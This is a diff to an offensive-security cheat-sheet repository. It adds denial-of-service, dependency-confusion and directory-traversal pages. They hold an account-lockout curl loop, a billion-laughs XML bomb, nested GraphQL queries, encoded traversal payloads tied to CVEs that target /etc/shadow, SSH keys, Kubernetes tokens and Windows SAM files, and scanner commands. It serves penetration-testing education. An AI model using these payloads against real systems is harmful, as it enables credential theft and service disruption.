- [PortSwigger - Clobbering DOM attributes to bypass HTML filters](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)
|
||||||
|
- [PortSwigger - DOM clobbering test case protected by CSP](https://portswigger-labs.net/dom-invader/testcases/augmented-dom-script-dom-clobbering-csp/)
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Bypassing CSP via DOM clobbering - Gareth Heyes - 05 June 2023](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
|
||||||
|
- [DOM Clobbering - HackTricks - January 27, 2023](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-clobbering)
|
||||||
|
- [DOM Clobbering - PortSwigger - September 25, 2020](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||||||
|
- [DOM Clobbering strikes back - Gareth Heyes - 06 February 2020](https://portswigger.net/research/dom-clobbering-strikes-back)
|
||||||
|
- [Hijacking service workers via DOM Clobbering - Gareth Heyes - 29 November 2022](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||||
97
Denial of Service/README.md
Normal file
97
Denial of Service/README.md
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
# Denial of Service
|
||||||
|
|
||||||
|
> A Denial of Service (DoS) attack aims to make a service unavailable by overwhelming it with a flood of illegitimate requests or exploiting vulnerabilities in the target's software to crash or degrade performance. In a Distributed Denial of Service (DDoS), attackers use multiple sources (often compromised machines) to perform the attack simultaneously.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [Locking Customer Accounts](#locking-customer-accounts)
|
||||||
|
* [File Limits on FileSystem](#file-limits-on-filesystem)
|
||||||
|
* [Memory Exhaustion - Technology Related](#memory-exhaustion---technology-related)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
Here are some examples of Denial of Service (DoS) attacks. These examples should serve as a reference for understanding the concept, but any DoS testing should be conducted cautiously, as it can disrupt the target environment and potentially result in loss of access or exposure of sensitive data.
|
||||||
|
|
||||||
|
|
||||||
|
### Locking Customer Accounts
|
||||||
|
|
||||||
|
Example of Denial of Service that can occur when testing customer accounts.
|
||||||
|
Be very careful as this is most likely **out-of-scope** and can have a high impact on the business.
|
||||||
|
|
||||||
|
* Multiple attempts on the login page when the account is temporary/indefinitely banned after X bad attempts.
|
||||||
|
```ps1
|
||||||
|
for i in {1..100}; do curl -X POST -d "username=user&password=wrong" <target_login_url>; done
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### File Limits on FileSystem
|
||||||
|
|
||||||
|
When a process is writing a file on the server, try to reach the maximum number of files allowed by the filesystem format. The system should output a message: `No space left on device` when the limit is reached.
|
||||||
|
|
||||||
|
| Filesystem | Maximum Inodes |
|
||||||
|
| --- | --- |
|
||||||
|
| BTRFS | 2^64 (~18 quintillion) |
|
||||||
|
| EXT4 | ~4 billion |
|
||||||
|
| FAT32 | ~268 million files |
|
||||||
|
| NTFS | ~4.2 billion (MFT entries) |
|
||||||
|
| XFS | Dynamic (disk size) |
|
||||||
|
| ZFS | ~281 trillion |
|
||||||
|
|
||||||
|
An alternative of this technique would be to fill a file used by the application until it reaches the maximum size allowed by the filesystem, for example it can occur on a SQLite database or a log file.
|
||||||
|
|
||||||
|
FAT32 has a significant limitation of **4 GB**, which is why it's often replaced with exFAT or NTFS for larger files.
|
||||||
|
|
||||||
|
Modern filesystems like BTRFS, ZFS, and XFS support exabyte-scale files, well beyond current storage capacities, making them future-proof for large datasets.
|
||||||
|
|
||||||
|
|
||||||
|
### Memory Exhaustion - Technology Related
|
||||||
|
|
||||||
|
Depending on the technology used by the website, an attacker may have the ability to trigger specific functions or paradigm that will consume a huge chunk of memory.
|
||||||
|
|
||||||
|
* **XML External Entity**: Billion laughs attack/XML bomb
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE lolz [
|
||||||
|
<!ENTITY lol "lol">
|
||||||
|
<!ELEMENT lolz (#PCDATA)>
|
||||||
|
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
||||||
|
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
|
||||||
|
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||||
|
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||||
|
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||||
|
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
|
||||||
|
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
|
||||||
|
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
|
||||||
|
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
|
||||||
|
]>
|
||||||
|
<lolz>&lol9;</lolz>
|
||||||
|
```
|
||||||
|
* **GraphQL**: Deeply-nested GraphQL queries.
|
||||||
|
```ps1
|
||||||
|
query {
|
||||||
|
repository(owner:"rails", name:"rails") {
|
||||||
|
assignableUsers (first: 100) {
|
||||||
|
nodes {
|
||||||
|
repositories (first: 100) {
|
||||||
|
nodes {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
* **Image Resizing**: try to send invalid pictures with modified headers, e.g: abnormal size, big number of pixels.
|
||||||
|
* **SVG handling**: SVG file format is based on XML, try the billion laughs attack.
|
||||||
|
* **Regular Expression**: ReDoS
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [DEF CON 32 - Practical Exploitation of DoS in Bug Bounty - Roni Lupin Carta - October 16, 2024](https://youtu.be/b7WlUofPJpU)
|
||||||
|
- [Denial of Service Cheat Sheet - OWASP Cheat Sheet Series - July 16, 2019](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)
|
||||||
@@ -5,28 +5,37 @@
|
|||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Tools](#tools)
|
* [Tools](#tools)
|
||||||
* [Exploit](#exploitation)
|
* [Methodology](#methodology)
|
||||||
|
* [NPM Example](#npm-example)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
* [Confused](https://github.com/visma-prodsec/confused)
|
* [visma-prodsec/confused](https://github.com/visma-prodsec/confused) - Tool to check for dependency confusion vulnerabilities in multiple package management systems
|
||||||
|
|
||||||
## Exploit
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
|
Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
|
||||||
|
|
||||||
### NPM example
|
* DockerHub: Dockerfile image
|
||||||
|
* JavaScript (npm): package.json
|
||||||
|
* MVN (maven): pom.xml
|
||||||
|
* PHP (composer): composer.json
|
||||||
|
* Python (pypi): requirements.txt
|
||||||
|
|
||||||
|
### NPM Example
|
||||||
|
|
||||||
* List all the packages (ie: package.json, composer.json, ...)
|
* List all the packages (ie: package.json, composer.json, ...)
|
||||||
* Find the package missing from https://www.npmjs.com/
|
* Find the package missing from https://www.npmjs.com/
|
||||||
* Register and create a **public** package with the same name
|
* Register and create a **public** package with the same name
|
||||||
* Package example : https://github.com/0xsapra/dependency-confusion-expoit
|
* Package example : https://github.com/0xsapra/dependency-confusion-expoit
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [Exploiting Dependency Confusion - 2 Jul 2021 - 0xsapra](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion)
|
- [Exploiting Dependency Confusion - Aman Sapra (0xsapra) - 2 Jul 2021](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion)
|
||||||
* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
- [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||||
* [Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
|
- [3 Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://web.archive.org/web/20210210121930/https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
|
||||||
* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained](https://www.youtube.com/watch?v=zFHJwehpBrU )
|
- [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained - 22 févr. 2021](https://www.youtube.com/watch?v=zFHJwehpBrU)
|
||||||
@@ -6,6 +6,14 @@
|
|||||||
../../../../../../{FILE}
|
../../../../../../{FILE}
|
||||||
../../../../../../../{FILE}
|
../../../../../../../{FILE}
|
||||||
../../../../../../../../{FILE}
|
../../../../../../../../{FILE}
|
||||||
|
..;/{FILE}
|
||||||
|
..;/..;/{FILE}
|
||||||
|
..;/..;/..;/{FILE}
|
||||||
|
..;/..;/..;/..;/{FILE}
|
||||||
|
..;/..;/..;/..;/..;/{FILE}
|
||||||
|
..;/..;/..;/..;/..;/..;/{FILE}
|
||||||
|
..;/..;/..;/..;/..;/..;/..;/{FILE}
|
||||||
|
..;/..;/..;/..;/..;/..;/..;/..;/{FILE}
|
||||||
..%2f{FILE}
|
..%2f{FILE}
|
||||||
..%2f..%2f{FILE}
|
..%2f..%2f{FILE}
|
||||||
..%2f..%2f..%2f{FILE}
|
..%2f..%2f..%2f{FILE}
|
||||||
|
|||||||
@@ -1,32 +1,39 @@
|
|||||||
# Directory traversal
|
# Directory Traversal
|
||||||
|
|
||||||
> A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
|
> Path Traversal, also known as Directory Traversal, is a type of security vulnerability that occurs when an attacker manipulates variables that reference files with “dot-dot-slash (../)” sequences or similar constructs. This can allow the attacker to access arbitrary files and directories stored on the file system.
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Tools](#tools)
|
* [Tools](#tools)
|
||||||
* [Basic exploitation](#basic-exploitation)
|
* [Methodology](#methodology)
|
||||||
* [16 bits Unicode encoding](#16-bits-unicode-encoding)
|
* [URL Encoding](#url-encoding)
|
||||||
* [UTF-8 Unicode encoding](#utf-8-unicode-encoding)
|
* [Double URL Encoding](#double-url-encoding)
|
||||||
* [Bypass "../" replaced by ""](#bypass--replaced-by-)
|
* [Unicode Encoding](#unicode-encoding)
|
||||||
* [Bypass "../" with ";"](#bypass--with-)
|
* [Overlong UTF-8 Unicode Encoding](#overlong-utf-8-unicode-encoding)
|
||||||
* [Double URL encoding](#double-url-encoding)
|
* [Mangled Path](#mangled-path)
|
||||||
* [UNC Bypass](#unc-bypass)
|
* [NULL Bytes](#null-bytes)
|
||||||
* [NGINX/ALB Bypass](#nginxalb-bypass)
|
* [Reverse Proxy URL Implementation](#reverse-proxy-url-implementation)
|
||||||
|
* [Exploit](#exploit)
|
||||||
|
* [UNC Share](#unc-share)
|
||||||
|
* [ASPNET Cookieless](#aspnet-cookieless)
|
||||||
|
* [IIS Short Name](#iis-short-name)
|
||||||
|
* [Java URL Protocol](#java-url-protocol)
|
||||||
* [Path Traversal](#path-traversal)
|
* [Path Traversal](#path-traversal)
|
||||||
* [Interesting Linux files](#interesting-linux-files)
|
* [Linux Files](#linux-files)
|
||||||
* [Interesting Windows files](#interesting-windows-files)
|
* [Windows Files](#windows-files)
|
||||||
|
* [Labs](#labs)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
- [dotdotpwn - https://github.com/wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn)
|
- [wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) - The Directory Traversal Fuzzer
|
||||||
```powershell
|
```powershell
|
||||||
git clone https://github.com/wireghoul/dotdotpwn
|
|
||||||
perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
|
perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
|
||||||
```
|
```
|
||||||
|
|
||||||
## Basic exploitation
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
|
We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
|
||||||
|
|
||||||
@@ -41,67 +48,197 @@ We can use the `..` characters to access the parent directory, the following str
|
|||||||
%uff0e%uff0e%u2216
|
%uff0e%uff0e%u2216
|
||||||
```
|
```
|
||||||
|
|
||||||
### 16 bits Unicode encoding
|
|
||||||
|
|
||||||
```powershell
|
### URL Encoding
|
||||||
. = %u002e
|
|
||||||
/ = %u2215
|
| Character | Encoded |
|
||||||
\ = %u2216
|
| --- | -------- |
|
||||||
|
| `.` | `%2e` |
|
||||||
|
| `/` | `%2f` |
|
||||||
|
| `\` | `%5c` |
|
||||||
|
|
||||||
|
|
||||||
|
**Example:** IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd
|
||||||
```
|
```
|
||||||
|
|
||||||
### UTF-8 Unicode encoding
|
|
||||||
|
|
||||||
```powershell
|
### Double URL Encoding
|
||||||
. = %c0%2e, %e0%40%ae, %c0ae
|
|
||||||
/ = %c0%af, %e0%80%af, %c0%2f
|
Double URL encoding is the process of applying URL encoding twice to a string. In URL encoding, special characters are replaced with a % followed by their hexadecimal ASCII value. Double encoding repeats this process on the already encoded string.
|
||||||
\ = %c0%5c, %c0%80%5c
|
|
||||||
|
| Character | Encoded |
|
||||||
|
| --- | -------- |
|
||||||
|
| `.` | `%252e` |
|
||||||
|
| `/` | `%252f` |
|
||||||
|
| `\` | `%255c` |
|
||||||
|
|
||||||
|
|
||||||
|
**Example:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271)
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
|
||||||
|
{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bypass "../" replaced by ""
|
|
||||||
Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them.
|
### Unicode Encoding
|
||||||
|
|
||||||
|
| Character | Encoded |
|
||||||
|
| --- | -------- |
|
||||||
|
| `.` | `%u002e` |
|
||||||
|
| `/` | `%u2215` |
|
||||||
|
| `\` | `%u2216` |
|
||||||
|
|
||||||
|
|
||||||
|
**Example**: Openfire Administration Console - Authentication Bypass (CVE-2023-32315)
|
||||||
|
|
||||||
|
```js
|
||||||
|
{{BaseURL}}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Overlong UTF-8 Unicode Encoding
|
||||||
|
|
||||||
|
The UTF-8 standard mandates that each codepoint is encoded using the minimum number of bytes necessary to represent its significant bits. Any encoding that uses more bytes than required is referred to as "overlong" and is considered invalid under the UTF-8 specification. This rule ensures a one-to-one mapping between codepoints and their valid encodings, guaranteeing that each codepoint has a single, unique representation.
|
||||||
|
|
||||||
|
| Character | Encoded |
|
||||||
|
| --- | -------- |
|
||||||
|
| `.` | `%c0%2e`, `%e0%40%ae`, `%c0%ae` |
|
||||||
|
| `/` | `%c0%af`, `%e0%80%af`, `%c0%2f` |
|
||||||
|
| `\` | `%c0%5c`, `%c0%80%5c` |
|
||||||
|
|
||||||
|
|
||||||
|
### Mangled Path
|
||||||
|
|
||||||
|
Sometimes you encounter a WAF which remove the `../` characters from the strings, just duplicate them.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
..././
|
..././
|
||||||
...\.\
|
...\.\
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bypass "../" with ";"
|
**Example:**: Mirasys DVMS Workstation <=5.12.6
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### NULL Bytes
|
||||||
|
|
||||||
|
A null byte (`%00`), also known as a null character, is a special control character (0x00) in many programming languages and systems. It is often used as a string terminator in languages like C and C++. In directory traversal attacks, null bytes are used to manipulate or bypass server-side input validation mechanisms.
|
||||||
|
|
||||||
|
**Example:** Homematic CCU3 CVE-2019-9726
|
||||||
|
|
||||||
|
```js
|
||||||
|
{{BaseURL}}/.%00./.%00./etc/passwd
|
||||||
|
```
|
||||||
|
|
||||||
|
**Example:** Kyocera Printer d-COPIA253MF CVE-2020-23575
|
||||||
|
|
||||||
|
```js
|
||||||
|
{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Reverse Proxy URL Implementation
|
||||||
|
|
||||||
|
Nginx treats `/..;/` as a directory while Tomcat treats it as it would treat `/../` which allows us to access arbitrary servlets.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
..;/
|
..;/
|
||||||
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt
|
|
||||||
```
|
```
|
||||||
|
|
||||||
### Double URL encoding
|
**Example**: Pascom Cloud Phone System CVE-2021-45967
|
||||||
|
|
||||||
```powershell
|
A configuration error between NGINX and a backend Tomcat server leads to a path traversal in the Tomcat server, exposing unintended endpoints.
|
||||||
. = %252e
|
|
||||||
/ = %252f
|
```js
|
||||||
\ = %255c
|
{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}
|
||||||
```
|
```
|
||||||
|
|
||||||
**e.g:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with `http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini`
|
|
||||||
|
|
||||||
### UNC Bypass
|
## Exploit
|
||||||
|
|
||||||
An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.
|
These exploits affect mechanism linked to specific technologies.
|
||||||
|
|
||||||
|
|
||||||
|
### UNC Share
|
||||||
|
|
||||||
|
A UNC (Universal Naming Convention) share is a standard format used to specify the location of resources, such as shared files, directories, or devices, on a network in a platform-independent manner. It is commonly used in Windows environments but is also supported by other operating systems.
|
||||||
|
|
||||||
|
An attacker can inject a **Windows** UNC share (`\\UNC\share\name`) into a software system to potentially redirect access to an unintended location or arbitrary file.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
\\localhost\c$\windows\win.ini
|
\\localhost\c$\windows\win.ini
|
||||||
```
|
```
|
||||||
|
|
||||||
### NGINX/ALB Bypass
|
Also the machine might also authenticate on this remote share, thus sending an NTLM exchange.
|
||||||
|
|
||||||
NGINX in certain configurations and ALB can block traversal attacks in the route, For example:
|
|
||||||
```http://nginx-server/../../``` will return a 400 bad request.
|
|
||||||
|
|
||||||
To bypass this behaviour just add forward slashes in front of the url:
|
|
||||||
```http://nginx-server////////../../```
|
|
||||||
|
|
||||||
|
|
||||||
### Java Bypass
|
### ASP NET Cookieless
|
||||||
|
|
||||||
Bypass Java's URL protocol
|
When cookieless session state is enabled. Instead of relying on a cookie to identify the session, ASP.NET modifies the URL by embedding the Session ID directly into it.
|
||||||
|
|
||||||
|
For example, a typical URL might be transformed from: `http://example.com/page.aspx` to something like: `http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx`. The value within `(S(...))` is the Session ID.
|
||||||
|
|
||||||
|
|
||||||
|
| .NET Version | URI |
|
||||||
|
| -------------- | -------------------------- |
|
||||||
|
| V1.0, V1.1 | /(XXXXXXXX)/ |
|
||||||
|
| V2.0+ | /(S(XXXXXXXX))/ |
|
||||||
|
| V2.0+ | /(A(XXXXXXXX)F(YYYYYYYY))/ |
|
||||||
|
| V2.0+ | ... |
|
||||||
|
|
||||||
|
|
||||||
|
We can use this behavior to bypass filtered URLs.
|
||||||
|
|
||||||
|
* If your application is in the main folder
|
||||||
|
```ps1
|
||||||
|
/(S(X))/
|
||||||
|
/(Y(Z))/
|
||||||
|
/(G(AAA-BBB)D(CCC=DDD)E(0-1))/
|
||||||
|
/(S(X))/admin/(S(X))/main.aspx
|
||||||
|
/(S(x))/b/(S(x))in/Navigator.dll
|
||||||
|
```
|
||||||
|
|
||||||
|
* If your application is in a subfolder
|
||||||
|
```ps1
|
||||||
|
/MyApp/(S(X))/
|
||||||
|
/admin/(S(X))/main.aspx
|
||||||
|
/admin/Foobar/(S(X))/../(S(X))/main.aspx
|
||||||
|
```
|
||||||
|
|
||||||
|
| CVE | Payload |
|
||||||
|
| -------------- | ---------------------------------------------- |
|
||||||
|
| CVE-2023-36899 | /WebForm/(S(X))/prot/(S(X))ected/target1.aspx |
|
||||||
|
| - | /WebForm/(S(X))/b/(S(X))in/target2.aspx |
|
||||||
|
| CVE-2023-36560 | /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/ |
|
||||||
|
| - | /WebForm/b/(S(X))in/target2.aspx/(S(X))/ |
|
||||||
|
|
||||||
|
|
||||||
|
### IIS Short Name
|
||||||
|
|
||||||
|
The IIS Short Name vulnerability exploits a quirk in Microsoft's Internet Information Services (IIS) web server that allows attackers to determine the existence of files or directories with names longer than the 8.3 format (also known as short file names) on a web server.
|
||||||
|
|
||||||
|
* [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)
|
||||||
|
```ps1
|
||||||
|
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'
|
||||||
|
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'
|
||||||
|
```
|
||||||
|
|
||||||
|
* [bitquark/shortscan](https://github.com/bitquark/shortscan)
|
||||||
|
```ps1
|
||||||
|
shortscan http://example.org/
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Java URL Protocol
|
||||||
|
|
||||||
|
Java's URL protocol when `new URL('')` is used allows the format `url:URL`
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
url:file:///etc/passwd
|
url:file:///etc/passwd
|
||||||
@@ -111,52 +248,77 @@ url:http://127.0.0.1:8080
|
|||||||
|
|
||||||
## Path Traversal
|
## Path Traversal
|
||||||
|
|
||||||
### Interesting Linux files
|
### Linux Files
|
||||||
|
|
||||||
|
* Operating System and Informations
|
||||||
|
```powershell
|
||||||
|
/etc/issue
|
||||||
|
/etc/group
|
||||||
|
/etc/hosts
|
||||||
|
/etc/motd
|
||||||
|
```
|
||||||
|
|
||||||
|
* Processes
|
||||||
|
```ps1
|
||||||
|
/proc/[0-9]*/fd/[0-9]* # first number is the PID, second is the filedescriptor
|
||||||
|
/proc/self/environ
|
||||||
|
/proc/version
|
||||||
|
/proc/cmdline
|
||||||
|
/proc/sched_debug
|
||||||
|
/proc/mounts
|
||||||
|
```
|
||||||
|
|
||||||
|
* Network
|
||||||
|
```ps1
|
||||||
|
/proc/net/arp
|
||||||
|
/proc/net/route
|
||||||
|
/proc/net/tcp
|
||||||
|
/proc/net/udp
|
||||||
|
```
|
||||||
|
|
||||||
|
* Current Path
|
||||||
|
```ps1
|
||||||
|
/proc/self/cwd/index.php
|
||||||
|
/proc/self/cwd/main.py
|
||||||
|
```
|
||||||
|
|
||||||
|
* Indexing
|
||||||
|
```ps1
|
||||||
|
/var/lib/mlocate/mlocate.db
|
||||||
|
/var/lib/plocate/plocate.db
|
||||||
|
/var/lib/mlocate.db
|
||||||
|
```
|
||||||
|
|
||||||
|
* Credentials and history
|
||||||
|
```ps1
|
||||||
|
/etc/passwd
|
||||||
|
/etc/shadow
|
||||||
|
/home/$USER/.bash_history
|
||||||
|
/home/$USER/.ssh/id_rsa
|
||||||
|
/etc/mysql/my.cnf
|
||||||
|
```
|
||||||
|
|
||||||
|
* Kubernetes
|
||||||
|
```ps1
|
||||||
|
/run/secrets/kubernetes.io/serviceaccount/token
|
||||||
|
/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||||
|
/run/secrets/kubernetes.io/serviceaccount/certificate
|
||||||
|
/var/run/secrets/kubernetes.io/serviceaccount
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Windows Files
|
||||||
|
|
||||||
|
The files `license.rtf` and `win.ini` are consistently present on modern Windows systems, making them a reliable target for testing path traversal vulnerabilities. While their content isn't particularly sensitive or interesting, they serves well as a proof of concept.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
/etc/issue
|
C:\Windows\win.ini
|
||||||
/etc/passwd
|
C:\windows\system32\license.rtf
|
||||||
/etc/shadow
|
|
||||||
/etc/group
|
|
||||||
/etc/hosts
|
|
||||||
/etc/motd
|
|
||||||
/etc/mysql/my.cnf
|
|
||||||
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
|
|
||||||
/proc/self/environ
|
|
||||||
/proc/version
|
|
||||||
/proc/cmdline
|
|
||||||
/proc/sched_debug
|
|
||||||
/proc/mounts
|
|
||||||
/proc/net/arp
|
|
||||||
/proc/net/route
|
|
||||||
/proc/net/tcp
|
|
||||||
/proc/net/udp
|
|
||||||
/proc/self/cwd/index.php
|
|
||||||
/proc/self/cwd/main.py
|
|
||||||
/home/$USER/.bash_history
|
|
||||||
/home/$USER/.ssh/id_rsa
|
|
||||||
/run/secrets/kubernetes.io/serviceaccount/token
|
|
||||||
/run/secrets/kubernetes.io/serviceaccount/namespace
|
|
||||||
/run/secrets/kubernetes.io/serviceaccount/certificate
|
|
||||||
/var/run/secrets/kubernetes.io/serviceaccount
|
|
||||||
/var/lib/mlocate/mlocate.db
|
|
||||||
/var/lib/mlocate.db
|
|
||||||
```
|
```
|
||||||
|
|
||||||
### Interesting Windows files
|
A list of files / paths to probe when arbitrary files can be read on a Microsoft Windows operating system: [soffensive/windowsblindread](https://github.com/soffensive/windowsblindread)
|
||||||
|
|
||||||
Always existing file in recent Windows machine.
|
|
||||||
Ideal to test path traversal but nothing much interesting inside...
|
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
c:\windows\system32\license.rtf
|
|
||||||
c:\windows\system32\eula.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
c:/boot.ini
|
|
||||||
c:/inetpub/logs/logfiles
|
c:/inetpub/logs/logfiles
|
||||||
c:/inetpub/wwwroot/global.asa
|
c:/inetpub/wwwroot/global.asa
|
||||||
c:/inetpub/wwwroot/index.asp
|
c:/inetpub/wwwroot/index.asp
|
||||||
@@ -180,25 +342,25 @@ c:/windows/repair/sam
|
|||||||
c:/windows/repair/system
|
c:/windows/repair/system
|
||||||
```
|
```
|
||||||
|
|
||||||
The following log files are controllable and can be included with an evil payload to achieve a command execution
|
|
||||||
|
|
||||||
```powershell
|
## Labs
|
||||||
/var/log/apache/access.log
|
|
||||||
/var/log/apache/error.log
|
* [PortSwigger - File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple)
|
||||||
/var/log/httpd/error_log
|
* [PortSwigger - File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass)
|
||||||
/usr/local/apache/log/error_log
|
* [PortSwigger - File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively)
|
||||||
/usr/local/apache2/log/error_log
|
* [PortSwigger - File path traversal, traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode)
|
||||||
/var/log/nginx/access.log
|
* [PortSwigger - File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path)
|
||||||
/var/log/nginx/error.log
|
* [PortSwigger - File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass)
|
||||||
/var/log/vsftpd.log
|
|
||||||
/var/log/sshd.log
|
|
||||||
/var/log/mail
|
|
||||||
```
|
|
||||||
|
|
